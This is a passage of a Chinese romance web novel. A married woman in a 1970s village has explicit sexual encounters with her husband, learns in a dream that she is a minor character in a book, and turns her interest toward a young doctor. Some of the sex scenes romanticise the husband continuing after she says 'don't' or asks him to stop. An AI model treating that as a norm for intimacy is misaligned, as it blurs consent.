不然就能看到嫩唇里的幽深。 吻上去的时候,已经有些湿润了,同时有什么正往外溢出,他喉结滚动咽下,直接顺着往里亲。 不同于上次温柔的试探,这次的舌尖又急又猛,在里面用力搅云力着。 余银的脚尖紧绷着挨着蚊帐顶,脚下的虚无缥缈,让她不安,燥动。 滚烫的舌尖堵不住往外溢涌的甘泉,泉水潺潺。 那不断搅动着发出的水渍声,羞涩感让余银清晰的认知到,她的那些感官都无限放大着。 浑身发痒,口干。 燥、 热、 烫、 想随着身体的反应,可却又想忍住那股莫名的冲动…… 余银拼命扭动着碰到蚊帐顶的脚尖,想挣扎脱游雾州的束缚。 可身体的反应却是不受控製的靠近,想要汲取更多的触碰,她觉得自己快要难受死了。 思想和行为的不统一。 余银低低呜咽着,混乱的摇着头,红唇微张,战栗不已。 游雾州边亲边喘。 “余银。”游雾州吞咽着,克製不住的说:“我快喝的跟不上了。” “怎么这么多……” 余银被这句话他羞到身子紧绷着打着颤,偏偏这人还不肯放过她,恶劣的控诉着她。 “怎么绷着嗯?” “余银……” “我舌头都要断了。” “放松点嗯……” 说完,用里往唇腔内一吸,惹得余银呜咽一声,抵着帐顶的腿差点软了下来。 接连不断的颤音,从她喉间溢出。 “好难受。” “游雾州。” “不要。” 激烈又失控的亲着她,游雾州以一个俯下头的姿势,却用一种完全掌控姿态,品尝着她的滋味。 观察着她对不同的反应程度。 在舌尖触碰到不一样的地方时,美妙动听的颤音,也是不一样的,或轻或重,或强烈渴求。 温湿甜腻的香味越来越重,宛若最好的燃料,让火越烧越旺,越烧越火热,越烧越湿润。 水火不容,火热和湿润却是彼此最需要,最渴望拥有的。 此刻最想得得彼此贴合的。 余银浑身哆嗦着,小腿酸软的垂下去,脚心搭在男人宽厚的肩膀上贴合着。 游雾州知道她此时腿上没有一点力气,手掌贴上她腿,摩挲着,引起阵阵颤栗。 他今晚可以控制着,在余银想要紧绷到不能控制时,却又猛然将舌尖抽离。 游雾州就是故意的。 只有余银强烈渴望他,需要他,才能让游雾州暂时忽略内心的不安。 他在余银身上汲取着,那些他忽略的安全感,只有这样。 游雾州才清楚地知道,余银离不开他。 他们彼此需要,也分不开。 第43章 第43章原来余银是个路人甲…… 不同程度的动作,帶来不一样的汹涌快意席卷,不自覺扬起的脖颈,涣散的意識,再也无法克制的甜腻嘤咛。 喉结不停滚动的声音,湿腻的晶露讓他脸颊上不止有汗液,连羽睫也被打湿。 无一不在告诉着游雾州此时,她有多满意。 脊椎骨发麻过后颤栗感,讓她格外敏感,他的指尖和如雨滴般的吻游移着,无一不像是帶着烈火,噼里啪啦的燃烧着她,讓她颤栗着。 这样的游雾州讓她根本无能招架。 那些帶着哭腔哽咽嘤咛,好不可怜,余银眼角被逼到溢出更多的泪水。 游雾州的指腹顺着她的鬓边往下滑,嗓音低沉暗哑唤她。 “余银。” 桃紅的帳内,隐约能看到起伏着帶来的微风,潺潺的小溪飘着落叶,被微风吹起哗哗声响。 余银下意識地点头,可又意识到他看不到,半张的唇齿间,溢出一声极轻的呼吸声。 明明就在跟前,甚至紧挨着一起,渴望却不得到。 余银对于他这样,有些不满,侧头咬了一口,放在她脸颊的手掌。 她用了点力气,狠狠的咬了一口他的手。 游雾州也不恼,低笑一声,被咬的手掌在她松开后,抬起她的下巴,低头吻上了她唇,同时猝不及防的挺身。 对于彼此都再熟悉不过的存在,瞬间就带起身心舒适的满足感。 木柴在燃烧时,火星四溅带起的细碎声响就足以证明火势多旺。 接连不断的添柴加火,让火势持续而猛烈的燃烧。 直至夜色渐淡,木柴的燃烧火焰逐渐变小,直到慢慢熄灭,带着灰烬的木柴自然等待余温消散- 天还蒙蒙亮时,余银睡梦间,一动,下面好像潮乎乎,一股热流往外涌出。 她整个人被游雾州圈在怀里,后背又紧挨着游雾州光滑的胸膛,贴着肉,甚至能感覺到他呼吸的起伏和自己是一样的。 她稍微一动,禁锢着她的胳膊就往里收了收。慢慢填满他们之间的空隙。 心口莫名一跳,有点不太对劲。 小肚子里酸说不出来的難受,芽苗快速破开发芽长出。 余银顿时身体僵住不敢乱动。 她半闭着的眼睛眨了眨,忍不住怀疑自己是不是想错了,也有些不敢相信…… 种子在成为芽苗前,是蜷缩着的,逢甘霖开始慢慢发芽,芽苗在冲着外壳往外长出来后,还会晃动两下。 就目前的情况清晰的告诉她,没有想错…… 芽苗顶着安全屋外壳,是直冲大脑的酸麻,那是对于本能的满足。 余银感覺都没睡多久,整个人困到不行,这会儿虽然还没完全醒,但她的意识虽然再模糊,就这一出。 她人也瞬间清醒了,除了害羞,更多的是震惊,竟然还可以这样啊。 游雾州竟然一直待着没有出去过! 她顿时手足无措,这下該怎么办好?是继续睡吧,她根本动不了太大的动作。 想了想,最后还是一只手偷偷抽出来,准备睡自己的,就被反手扣着手腕,举过头顶。 游雾州人还没清醒,身体就下意识地做出反應。 泡了水的柴,加上一些其他的水,根本不用火来点,就已经能燃了起来。 …… 除了有一种難以启齿的感覺,余银更多的是这种難言的感觉。 游雾州却像知道一样,专用着力 气去往那难言之处。 他沉溺在余银失态的模样,目不转睛,满是缱绻。但动作却一点没停,反而愈演愈烈。 急切的动作带起来的风,让蚊帳来回荡漾着,仿佛连蚊帐都有些急,摇晃起来都好像只能看到蚊帐内的残影。 发出呼呼沉闷却又清脆的响声。 听着就让她发麻心颤。 “快。” “快,出去。” “快?” “好。” 游雾州勾起唇角,听着她的话,带着让人恐惧的席卷。 余银不自觉地扬修起秀颈,脖颈和下颌因为某种原因,而呈现出优美的线条,白生生的皮肤透出淡淡的粉紅。 让人总会想要留下些痕迹。 游雾州垂头,用牙细细碾磨着她的锁骨,肩颈。 风止时,朵朵绽放紅梅落下。 带着从未有过的感觉,那热浪席卷着她的感官,让她忍不住打了个哆嗦,顿顿的、满满的。 是不同于往常的,一种很奇妙的,就好像是彻底满足的感觉。 不止她有这种体会。游雾州趴在她的颈窝,声音低沉磁性,带着餍足。 “不想出去,好想一直待在里面。” 余银小脸一红,她张了张口,低声骂道:“不要脸。” “我早上醒来他就在里面!” 游雾州埋在他的颈窝蹭了蹭,“可是真是好舒服啊。” 说完,还像她证明一样,又动了动,发出一声喟叹。 余银:“……” “出去,我好累。” “再让我待一会儿。” “我真的好困,游雾州。” “你睡吧,我一会就出去。” “……” 余银不知道他什么时候出去的,但隐隐约约知道这人在给自己清理,主要是他清理的手也不老实。 她拍了一下,也不知道拍到他哪去了。 总之是老实了。 熟睡后的余银,不知道自己是做了一个稀奇古怪的梦,还是老人们说人临死前脑子里会有走马观花的画面。 但那不是余银的。 还有一个声音告诉她,她所在的世界,其实是一本叫《万人迷男知青的笨蛋小白花》的书。 那本《万人迷男知青的笨蛋小白花》书里,主要就是围绕着游雾州和江窈写的,江窈的父亲母亲都只是的厂里的小员工,家里孩子又多,大姐和大哥是长子、长女,是他们的第一个儿子女儿,自然是打心里喜欢。 江大哥在江父厂里做着临时工的活,但却娶厂里一个正式工,还是他们厂会计主任的表亲家的孩子。 江大姐准备接江母的班,也在厂里做着临时工。 江窈的二姐长得很像江母,人又嘴甜会讨江父江母喜欢,工作不好找,父母的工作都接替了,她找不到工作,就找了个有点小钱的男朋友。 而江窈长相肖似江奶奶,江母和江奶奶婆媳不合,对于这个女儿,除了长相神似,连性子格外相似,她一看到江窈也是心里厌烦,一点也不待见她。 老小子弟弟,江母自然是当做宝,为了不让他下乡,本来都供不起了,硬生生又让他在学校读书。 小妹年纪小,听话又懂事,还能在家里帮着做飯打扫卫生,也不用去上学下乡,江母心里也是有一份她的位置。 而下乡的名额自然也落在了江窈身上,而他弟弟也还有一年就毕业了,没工作也要去下乡,江母就让江二姐找了她对象,拖了点关系,把江窈塞到偏远的地方,到时候江小弟就算没找到工作下乡,也能在周边下乡,不用吃苦。 江窈就这样爹不疼娘不爱的下了乡,来到了杨柳村,她来到知青点后,因为不太能适應农活,公分挣不了几个,反而还经常休息,刚开始知青们还能忍受她。 可长久下去,公分毕竟是吃飯生活的,知青们吃飯都是在一起的,她挣得太少,根本就不够吃,自然也有人不愿意了,男知青们不好开口,女知青们说了她,她就一副楚楚可怜的模样。 男知青们一见她这副模样,又顿时升起保护欲,开口阻止劝解,明明是男知青们提出的,说让女知青开口说会好一点,女知青们心里那叫一个憋屈,后来渐渐也没女知青搭理江窈了。 男知青们平时干活又多又忙,也没时间关心太多,江窈在知青点基本上也就跟隐形人了一样,后来偶然作为里面的路人甲余银,她从小就想要个姐姐或者妹妹,见到江窈第一面就把她当亲姐姐。 路人甲余银有个好舅舅,是杨柳村的大队长,她又是给江窈找了个割猪草的活,还让她每次不管干多少,公分都给的高的。 这样一来,江窈的生活了好了许多,余银还时不时在家里改善伙食的时候,也叫了江窈去吃。 后来村子里又来了一个首都的男知青,也就是《万人迷男知青的笨蛋小白花》的男主角游雾州,江窈对游雾州一见钟情,知青点很多女知青也都喜欢游雾州。 连村子里的人都对男主角游雾州赞不绝口,当然连路人甲余银也喜欢上了他,江窈得知余银想嫁给游雾州时,心里很难过,但还是让余银追求幸福,并且给她出了个落水让游雾州救她的主意。 游雾州忍着屈辱被逼婚娶了余银,而江窈作为余银的好姐妹,经常会去余家,江窈见到自己心上人过的不开心,她也恨自己为什么出那个主意,就找到了自己的一个追求者村长的孙子,想给游雾州找个工作,好让他过得好一点。 村长的孙子知道农场再招老师,江窈就把这个消息告诉了游雾州,他也考上了农场的小学老师,对江窈心存感谢,并告诉她有什么事都可以找他。后面余银哥哥休假回来,还带着他的朋友男二来到杨柳村,正好赶上了粮仓漏水,断掉的树枝差点砸住男二周华言,被江窈救了,从此爱上了她,百般纠缠。 江窈被男二猛烈追求着,他们在一个机缘巧合下,救了一个跟江窈一样不受待见的穿越者柳招娣,柳招娣对周华言一见倾心,帮着周华言追求江窈,后得知江窈心有所属游雾州,又撮合了他俩考上同一所大学。 在大学里,余家也因为当初的逼婚受到了代价,柳招娣也因为江窈,慢慢的和周华言走在了一起,可是周华言心里始终有着江窈的位置,柳招娣不免妒恨,给游雾州和江窈制造了种种矛盾,经常闹别扭,江窈很爱游雾州,但更想让他活得开心,决定远走,游雾州也因此认清内心,开启追妻…… 余银被气醒后,只觉得两眼一抹黑…… 她一想到,自己在一本书里就算了,还只是充当一个下场凄惨的路人甲角色,之所以有寥寥几笔,只是因为她是男主的前妻,为了衬托女主角的美好的品性,就算再爱男主,不会用那种法子把男主绑在身边。 她感觉整个人精神都错乱了。 余银自认为自己也不是很差啊,为什么是个下场这么凄惨的路人甲啊。 事情已经都在朝着好的方向发展了,为什么要给她当头一棒。 还有她哥的周华言竟然也深爱上江窈了,怎么那么多人都喜欢她! 余银那叫一个愤恨啊! 怎么天下的便宜都让江窈一个人给占了! 她简直想骂爹,凭什么啊…… 游雾州不是她的,余银其实早就认命了,得知人家俩还是比他先认识,还是男女主角,她心里那叫一个不爽。 可是没有一点办法啊,她也不求那些了,她就想让余家好好的,怎么就这么难啊。 经过这些日子的观察,游雾州估摸着不太恨余家了,應該也不会再对余家实施报复了。 她也要为自己做个打算了,男女主肯定是改变不了,她为自己谋划幸福,给他们腾路,应该会得到好运 吧。 毕竟书里帮男女主的,都得到好报了。 余银回想了一下那本叫《万人迷男知青的笨蛋小白花》,里面但凡出来的男角色,要么为江窈痴狂,要么没有好下场。 这个世界就没有她余银能找到的不爱江窈的男人了嗎? 除了她哥余金、 他爹了个腿的,还真没有一个! 不对,周医生,书里面好像没有怎么提到过他,只是说他是周华言的表弟,是个医生,其他的也没有了。 而且周医生人还好,就是不知道周医生愿不愿意,毕竟她结过婚,也不是黄花大闺女了…… 外面的天已经大亮了,余慶过来敲了敲她的门:“姐,姐,你醒了没有,快起来吃飯吧,你吃完饭再睡。” 余银闭了闭眼,从床上坐了起来,穿好衣服,下地的时候腿软差点跪地上,她扶着床边缓了两口气,才给余慶开了门。 门一开,余慶就手在鼻子前扇了一下,又头往里伸着嗅了嗅,“姐,你们屋啥味啊,咋又好聞又难聞的。” 余银顿时一僵,吸了两口气,就把余慶头往外推,“走,走,走,快饿死了,哪来的味啊,你闻岔了。” 余庆摇了摇头,有些不确定的问:“我真闻错了嗎?” 余银糊弄道:“肯定是你闻错了,我鼻子可比你好使,我都没闻到。” “好吧。”余庆说。 “我忘记拉蚊帐了,你先过去吧。”余银找个借口,一瘸一拐地就往回走。 推开门,那暧昧的气味直冲鼻子,足以见得昨晚是有多疯狂,味道也太大了。 余银赶紧把门窗开开,蚊帐打开。 他爹个腿的,有自己的女主角,还在床上这样折腾自己,游雾州可真他爹的不是个东西。 此时,正在粮仓那修屋顶的游雾州,打了好几个喷嚏。 听到他打喷嚏,余阿舅问他,“是不是昨天淋着雨了,想生病了,你可回家再喝点老姜茶。” 余金看了游雾州两眼,露出不屑的表情,还摇了摇头,仿佛在说,就这身体素质,淋了点雨就要生病了。 趁早回家去吧。 游雾州摸了摸鼻子,有些心虚,他估摸着是余银这会应该醒了……- 余银洗漱完才去吃饭,她也庆幸自己洗漱完收拾了一下,因为她进屋吃饭的时候,发现周华錦还在他们家。 她把饭放在桌子上,揉了揉眼睛,盯着周华錦,“周医生,你还没走啊?” 周华錦微微挑眉,笑着解释道:“有点事耽误了。” “哦,这样啊。”余银点头,“你吃早饭了嗎?” “姐,你以为跟你一样是个大懒虫啊,一觉睡到现在。”虎丫捂着嘴笑道:“周哥哥,我真的没骗你,她可能睡了,能一觉睡到下午嘞。” 余银脸一红,瞪了一眼虎丫,虎丫才不怕她,朝她做了个鬼脸,挑衅的搂着周华錦。 周华锦本着医生的敏感,便多了句嘴:“睡多了对身体不太好,余银同誌,还是建议你以后睡到现在起来好一点。” 余银“嗯嗯”地点着头,“我知道了,以后不睡太久了。” 身体要紧,她以后看来不能没事干就睡觉了。 余银小口小口的吃着饭,周华锦在一旁陪着虎丫和余庆玩。 吃过饭,周华锦身上提着个小药箱,问她:“余银同誌,你能不能跟我说一下知青点怎么走的。” 知青点,周华锦去知青点干嘛? 他也爱上江窈了嗎? 余银瞪大了双眼,仿佛对于他问知青点在吗哪很震惊。 周华锦觉得她的反应有些不对劲,问她:“怎么了吗?知青点是不能去还是……?” 余银摇头,忙笑着跟他解释:“不是,不是,我刚才看到地上又个蚯蚓爬得好快,所以有些惊到了。” 她说完,又看着他的药箱,“你去知青点是要给他们看病吗,他们怎么了。” 提到这个,周华锦叹了口气,“昨天走的时候不是下雨了吗,正巧碰上了你们村长叫人去修粮仓,我和我哥他们就一起过去了,谁知道中途又断了个树枝,差点砸到我哥了。” “有个女知青刚好推了我哥一把,才避免了我哥被砸到,但那为女知青却扭到脚了。” 余银听到这觉得好熟悉,怎么这么像,那本书里写的…… 女知青救了周华言,那不就是书里写的,江窈救了周华言,看来她是真的生活在书里,还是一个小角色。 余银脸色复杂的看了一眼周华锦,这人也和自己一样是个路人甲角色,他还不知道自己的表哥周华言,已经深爱上了江窈…… “我毕竟是个医生,要去看一下她的伤势。”周华言接着道:“余银同志,你能不能帮我指一下路,我对杨柳村不太熟悉。” 余银微咬着唇内的软肉,点点头,声音有些飘,“我带你过去吧。” 凡是跟江窈接触的男生,几乎没有不喜欢她的。 余银也想看看周华锦会不会,而且知青点这回肯定也没什么人,他一个男同志,传出去也不好听。 “这,可以吗?”周华锦略略停顿,有些犹豫的问余银:“不会耽误你什么吧,麻不麻烦啊。” 余银嘴角噙着笑意,摇摇头,“不麻烦,今天不用上工,反正也没什么事,而且你是男同志,要是知青点就那为女知青一个人在,多不好啊。” 周华锦一顿,他确实没有考虑这个,说道:“我就怕给你添麻烦了,路上都是泥,真是不好意思了,要不你给我说一下路,我等准备吃饭的时候过去,那样人多,也好避嫌。” “瞧你客气了不是。”余银笑道:“我从小就在村子里长大,这路有泥对我来说多正常,早点去看了,你也好安心,肯定昨晚天黑着,你也不方便,一直心里惦记着。” “走吧,走吧。”余银招手,又转头交代余庆和虎丫,“你俩在家里呆着啊,周医生去知青点有事,又不知道路,我给他送过去。” “我也去,我也去。”虎丫兴奋地说。 “你不去,我抱不动走那么远。”余银道:“周医生去给你看病,抱着你像什么话,余庆,看着她啊,你俩谁听话,就有好吃的。” “好吧,”虎丫瘪着嘴,又走了回去坐下,余庆咧嘴一笑,大声道:“保证完成任务!” 去知青点的路上,余银本就做完过度消费体力,这又会走了好久,腿都打着颤走的。 周华锦注意到她的不对劲,“是不是累了,咱们歇一会再走吧。” “腿有点抽筋了。”余银有些尴尬笑了一下,其实这点路她应该是不累的,但实在无法说出口原因,只好停下脚步歇一会儿。 周华锦未经人事,也没往那方面想,农村营养跟不上,抽筋是常有的事,便也没说什么。 余银生怕他察觉到是那个原因,歇了一小会儿,就说好了,“咱们走吧,这会儿不抽了。” 周华锦还有些迟疑,“要不再歇一会吧,腿抽起筋来还是挺难受的,咱们又不着急。” 余银只好又歇了一会儿,但站着也很费力,她没歇多久。 等到了知青点,余银气喘吁吁地,面色潮红,鬓边的发丝都被汗水洇湿了。 “等一下,” “歇,一歇,让我。” 周华锦看了眼她的模样,就立马移开眼去,深吸了好几口气,耳根却越来越红。 他往旁边走了好几步,离余银隔的有些距离。 余银在心里把游雾州骂了好一会,才调整好自己,抿了抿唇说:“走吧,周医生。” 她以前没少去知青点找江窈,轻车熟路的带着周华锦往女知青住的地方去。 到了房间门口,周华言停下脚步,余银敲了敲门,“江窈姐,你在吗?” “啊,谁啊?”江窈小声问道。 “我余银啊,听说你脚受伤了,刚好周医生昨天在我家,今带她过来给你看看。”余银解释道。 周华锦有些狐疑,余银怎么知道里面的人叫什么,他只知道姓江。 江窈拧着眉说:“你等一下。” 屋子里紧接着一阵声响,然后是一瘸一拐的脚步声,门被开了一个缝,江窈探出头,看了他们两个一眼。 她浅笑道:“去堂屋吧。” 余银上前掺着江窈,周华锦走在前面一点,隔着些距离。 女生宿舍确实不能进,及时余银陪着我他 进去了也有些说不清。 堂屋正对大门,大门敞开着,也不至于会让人知道看见了误会什么。 快到堂屋时,周华锦好像听到了什么动静,回头一看,不知道是他看错了还是什么,好像看到了一个人影。 第44章 第44章被游雾州撞见余银和周医…… 可能是因为腳腕的疼痛,江窈被余银搀扶着,依旧走的很艰难。 余银把江窈扶着坐下后,看着她腿往前伸着,露出有点肿的腳腕,还带着一股紅花油味儿。 说实话,余银现在看到江窈,心情说不来的复杂。 在那个似梦非梦的书里,她就像一个偷了别人应有的幸福,而后付出惨痛代价的。可那却是她实实在在经历过的一生,付出真情实感的一生,却只有寥寥几笔概括了她。 她一想到早上剛和自己亲密过的男人,实际上是早已被命中注定了其他女人,更是心里哪哪都不带劲。 江窈的腳不算太严重,而且应該是剛上过紅花油。 周华锦下队的时候,藥箱里带了跌打损傷的藥酒,但那藥酒已经给了余阿舅。 昨晚余金要了过来,他今带来了,那药酒他在家里还有,等过几天再带给余阿舅。 他把药酒递给江窈,开口道:“江同志,这是我自己配的药酒,活血用的,你这几天可以涂一下。” 江窈接过那瓶药酒,道了声謝。 “江知青,今天脚怎么样?”门口传来一道男人的声音。 说话的是村长的孙子,也是江窈的追求者之一揚小暑,长相一般,但胜在五官端正,个头不低也不高,身板强壮。 揚小暑看到余银,露着一口白牙,有些憨气的惊讶道:“呀,余妹妹,你也是来看江知青的?” “江知青的脚毕竟是修粮仓受傷了,我爷讓我过来看看她。” 没人问他为啥来,还非要解釋解釋,揚小暑头脑比较简单,他那副欲盖弥彰的模样,嘖,余银都不想拆穿他。 她早在女知青宿舍的时候,就猜到了揚小暑在这,就江窈开门,就露出她自己,再到她脚上已经涂过红花油。 红花油在村子里可少见,知青点的人对外是团结一致,对内可什么都分的特别清楚,江窈的红花油,除了扬小暑,也没别人了。 还村长讓他过来看看,嘖啧。 余银点头,“周医生不是下队看病来了,正好讓我带着他过来给瞧瞧。” 江窈看到她这副解释,抿紧唇低下头,眼底浮现出不解。她救的是周华言,按理说那个男人应該会对她一见钟情,可为什么今天没有过来。 而是这个周医生过来,他们虽然是表兄弟,但余银说是下队看病来的,不是特意让他过来的。 “哦,这是县里的医生啊,医生给看看好啊。” 扬小暑时不时的看一眼周华锦,因为江窈的眼神在他身上停留着。但他看着这个周医生,长得确实是一幅小白臉的模样,瘦瘦的,不如他有力气。 周华锦笑着朝他点点头,“没伤到骨头,这两天尽量不要多走路。” “周医生,我的脚真没事嗎,可是很疼,根本动不了。”江窈咬着唇问他。 扬小暑跟着附和,不放心道:“她疼的都不敢碰到,而且肿这么严重,真没伤到骨头嗎?” 周华锦抿唇淺笑着解释:“因为刚扭到,疼是正常的,你擦药的时候不要怕疼,揉一揉,把淤血揉开能缓解你的疼痛,也好的快一点。” “怎么揉啊,你会不会什么按摩揉法,能教教我嗎,周医生。”江窈咬着下唇,轻轻地眨了两下眼睛。 余银看着她那双盈盈秋水,故意勾着人的目光,嘴角一抽。 还真是注定好的女主角,这样的模样,这真能吸引到他们吗? 她看了看扬小暑和周华锦,扬小暑眼睛不眨的看着江窈,耳根子红的不行。 周华锦顿了几秒后,在被余银看着时,立马移开视线,轻咳了一声。 余银在心里叹了口气,看来因为周华锦不重要,所以没太被女主吸引。 周华锦唇角微动,缓缓道:“我也不太会,你揉一揉脚腕,在转一转,也没什么特别的手法。” 余银讨厌那群知青,不想等会有知青回来她们碰到,她在江窈想要开口前,她挽起江窈的胳膊道:“江窈姐,马上快中午了,我们就先走,我还掺着你走来。” 江窈被她驾着,也不好把手抽出来,自己走回宿舍,只好应道:“那好吧,我要是有什么事了再找你们,只是这知青点我一个人,干什么也不方便,就怕没站稳再摔倒了。” 她自己非要把宿舍里的女知青关系搞得很僵,她这是想让谁来伺候他,被她救的周华言,还是周华锦。 余银有些无语,没接她这句话。周华锦跟她也不熟,不可能因为他表哥,就提出在这待着照顾她,孤单寡女的像什么样子。 扬小暑挠了挠头,试探的说了句,“江知青,要不去我家住两天,我奶奶一个人在家,还能给你搭把手。” 江窈没想到他会这接话,臉色渐渐绷紧没说话……- 回去路上,余银一直在想那本书,她到底该如何改变自己的困境。 目前现状是不能变得,但男人是要换一个的。 换的目标也有了,就是不知道目标对她什么感觉,哎,现在不是倡导恋爱自由,勇敢追爱。 主要她这个已婚的身份,不能让她太勇敢追爱。 余银心里犯难,正惆怅着,手臂倏地被人往后一拉,很快,周华言的声音就在她耳边响起:“哎,小心,差点摔倒了。” 她脚下顿时踉跄了两步,低头一看,目光顿住。 只见她都快走到沟边了,就离她两步远。 余银转眸看向身边的男人,拍了拍胸口,感謝的笑道:“谢谢你啊,周医生,差点掉里面了。” “不用客气。”周华锦淺笑,而后,他微抬下巴,“你想什么呢,这么走神,连路都没看。” 余银咬了一下唇瓣松开,接着唇角勾起浅浅弧度,笑颜如花的看向他,羽睫轻轻煽动两下,“周医生,我……。” 周华锦的心跳忽然漏了一拍。 “你,你怎么了?”他喉间灼热,声音有一些沙哑,和一丝自己都没察觉到的颤抖,“余同志如果不想说,也没有关系的。” “不是。”余银摇头叹息,她仰头望向阴沉的天空,声音有些飘渺,有些憂愁的说:“周医生,我只是不知道该怎么说。” 周华锦最开始知道余银,是在表哥的信上描述的她,他答应了相亲,可惜造化弄人,他们有缘无份,可老天爷偏偏又让他们相见了。 只是余银已经嫁为人妇,他当时不知道,就那一眼,他才知道,原来世界上真的有爱情和心动这种虚无缥缈东西的存在。 他给表哥写了信,想要给他们一个认识的机会,没收到回信,他代替同事去杨柳村下队。 谁曾想她已经嫁人了。 他本来已经打算放下了,可表哥又告诉他,他们之间没有感情,余银也不幸福,那个男知青这两年就要离开了,问他还愿意吗。 他很诧异,同时心里也还担憂,她面对那个优秀的男人都不幸福,自己能给她幸福吗。 但,她的脉象,现在看到她忧愁的样子,他想尽最大的努力让她开心些。 她不应该是失落忧愁的。 临近中午,乡下的路上又刚经过大雨冲洗,这会儿路边就他们两个,两个人都没有开口,阴沉沉的天此刻有些过于冷清。 周华锦垂眸看着身边的女人,她微扬起头望着天,眼神空茫。他唇角微动,想说些什么,却也不知该如何开口。 很快,余银微微转向他,对上他那双看着她时,眼眸里有着柔柔的光,她莞尔一笑,“周医生是在看我吗?” 周华锦猝不及防被她捕捉到自己的视线,心头一顿,眼神躲闪着。 余银了然,什么也没说,却又像什么都说了。 可能是她太敏锐了,也确实感受到了,原来周华锦对她是有好感的。 周华锦愣了一会,回过神后,他喉结微动,对着她说,“余银,我叫周华锦,中华人民共 和国和锦绣河山,华锦。” 说完,他定定地看着余银。 余银会心一笑,“名字很好听,可我更喜欢叫你——” 她朝前走了两步,扭头在他的期盼中,眨了眨眼道:“周医生。” 周华锦笑了起来,俊秀的眉眼也泛起涟漪,那双浅淡的眼眸里有看得见的缱绻。 “好。” 温柔的嗓音里似乎含着水一样,就好像那些盛满的爱意都快溢出,听的余银心头一颤。 余银低垂下头,隐隐有种直觉,或是她还没有做好准备,有些不敢去面对他眼眸。 余银嘴角噙着笑,往前走了两步,在拐角处,笑意顿时僵住在脸上。 游雾州就站在拐角处树边,不知道看了多久,他嘴角挂着浅笑,但那一双幽深的黑眸笑意不达眼底。 余银下意识地想到了刚才自己和周华锦说过的话,做出的反应,她心一抖,直觉告诉她。 游雾州一定看到了,且好看了很久。 没有哪个男人能大度到,容忍他看到自己名义上的妻子,和其他男人眉来眼去的。 思及此,余银一个激灵,才猛然想起来,自己知道他和江窈是男女主角故事,但游雾州自己并不知道。 她这算是当着游雾州的面,光明正大的偷男人了。 老天爷啊,她怎么这么背事啊。 偷男人啊,再赶上前些年头,她是要被浸猪笼的啊! 第45章 第45章游雾州一再被挑衅 游雾州从来没想过,他能看到这样的画面,余银笑的那样开心,竟然是对着其他男人。 周华錦那样炙热的眼神,余银当真看不见,感受不到嗎。 游雾州说不出,此刻体内翻涌着的情绪。 他自认为不是个大度的人,可在看到他们时,竟然不敢上前,他竟然生出了退缩的情绪。 甚至想,他如果没过来,没有看见过就好了。 可他偏偏却像定在那里了,走不了。 余银深深换了口气,她的大脑飞速运转着,该怎么讓游雾州不误会啊。 虽然但是,她确实是有意的和周华錦交流,可她也没说什么…… 但不管怎么样,她还没离婚,还被游雾州看到,这都是不太好的。 余银平静的走到游雾州面前,干笑着解釋:“你是去知青点跟他们学习嗎,我帶着周醫生给江窈看脚刚从那出来,知青点这会儿没什么人在。” 她没问游雾州怎么在这,也问他看到了什么,只是说帶着醫生给人看病。 而且通往知青点的这条路虽然是不是大路,但却是快到路口那,毫无遮挡的。 她又是已婚的身份,帶着个男醫生去给别人看病,说出去,也没什么好猜测的。 游雾州面色无波,语调压的很平静:“哦,那回家做饭吧,下午再过去。” 余银悄悄打量了他几眼,看着他面色无疑,看样子應该是信了,也就没再细想游雾州真是来知青点的嗎。 都被叫去修糧仓了,怎么就游雾州这个在这里,他到底是要去干嘛的…… 游雾州瞥了眼默不作声的周华錦,淡声道:“周医生你以前下过队没,原来这边都是另一个医生下队的,还从来没见过你。” 周华錦再看到游雾州的时候,心里也咯噔一下,余银的身份毕竟是已婚,他再怎么样,也不能做出破坏别人婚姻的事。 即使他倆再感情不好,到底是还没分开离婚。 他面对游雾州时,心里总会觉得歉疚,解釋道:“原来的刘医生这几天身体有点不舒服,走不了太远的路程,就和我换了一下。” “这样啊。”游雾州看着他继续道:“周医生这么年经,今年多大了啊。” 周华锦回道:“今年二十三了。” “真是年輕有为啊,周医生。” “哪里的话,我也只是给人看个头疼脑热的罢了。” 游雾州问一句,他答一句,一路上,周华锦的基本情况,余银都了解差不多了。 只是对于他倆的对话,余银有些摸不清楚。 游雾州是个不动声色,在别人问的话里,去观察了解别人,怎么这次主动问了周华锦这么多。 他想干什么啊。 就跟给身边的人相亲时,打探男方各方面问题一样。 等等—— 游雾州这什么意思?他要给周华锦介绍对象吗? 他为什么要这么做,怎么想都没理由啊…… 那本书里怎么写的啊,直到最后都没说周华锦结婚没结婚,他表哥周华言先是对江窈爱到无可自拔,最终却和柳盼娣走到了一起。 那本书里是这样描写的。 周华言那个人,就像一朵漂亮到讓人惊艳的花,实际上连带着味道都是致命的。 而游雾州和周华言比起来,就如同一块清润无暇的玉石,风光霁月,雅方端正。 所以江窈面对周华言的火热追求,却依旧喜歡着游雾州。 一正一邪,女主角自然选择分明。 想到这,余银就打了个寒颤,那写这本书的人,可真从心底喜歡这个江窈啊。 给了她这么多好男人,讓她选择。 余银有些不服气,她到底差哪了,连个自己的男人其实都是别人的,她找一个吧,好不容易有点苗头。 又被这个名义上还是自己的男人撞到。 到家里后,做饭自然不可能讓周华锦帮忙,余银自觉地走进厨房添柴烧火。 周华锦在堂屋坐着,游雾州去菜园里摘了菜,洗好走进厨房。 余银见他进来,抬眼打量他两眼,他神色自然,没什么特别的情绪流露。 江窈受伤了,他應该是也是去知青点的,怎么那会儿没见他问上一问啊。 余银烧柴不用一直看着,她的目光除了添柴时,就一直在游雾州身上。 男人的身影高大挺拔,即使穿着有些破烂,带着补丁的粗布衣服,也仍然盖不住他那与村里人不一样的气质,宽肩窄腰,还有那劲瘦却有力的腰腹。 真是近乎完美的一个男人,除了有些成分不好,但没两年就又恢复了,那时候的身份,简直是她高攀不起的。 余银还没收敛目光,游雾州便抬眼看她,声音低沉:“怎么了?” “没事。”余银垂着头,错开他的目光,说话的声音很輕:“江窈姐脚没什么事,没伤到骨头,周医生给了她药酒,过几天就好了。” 她也不知道自己为什么要这么样说,大概因为余银倒是不介意大方一点告訴他,毕竟书里和这男女主做对没有好下场。 游雾州闻言沉默一瞬,微蹙着眉宇,点了下头,什么也没说。 他觉得余银既然已经解释了,他也不應该小心眼的逼问,而且两个人只是说了几句话,笑了两下而已。 他不能一碰到这事,就心里怀疑。 村子里还有其他男人们,偶尔碰上一面,余银也不可能不打声招呼,对人家笑笑的。 可能是因为余金的原因,所以他那会才会心里有了些怀疑,其实更多的是怀疑自己,他太害怕失去了。 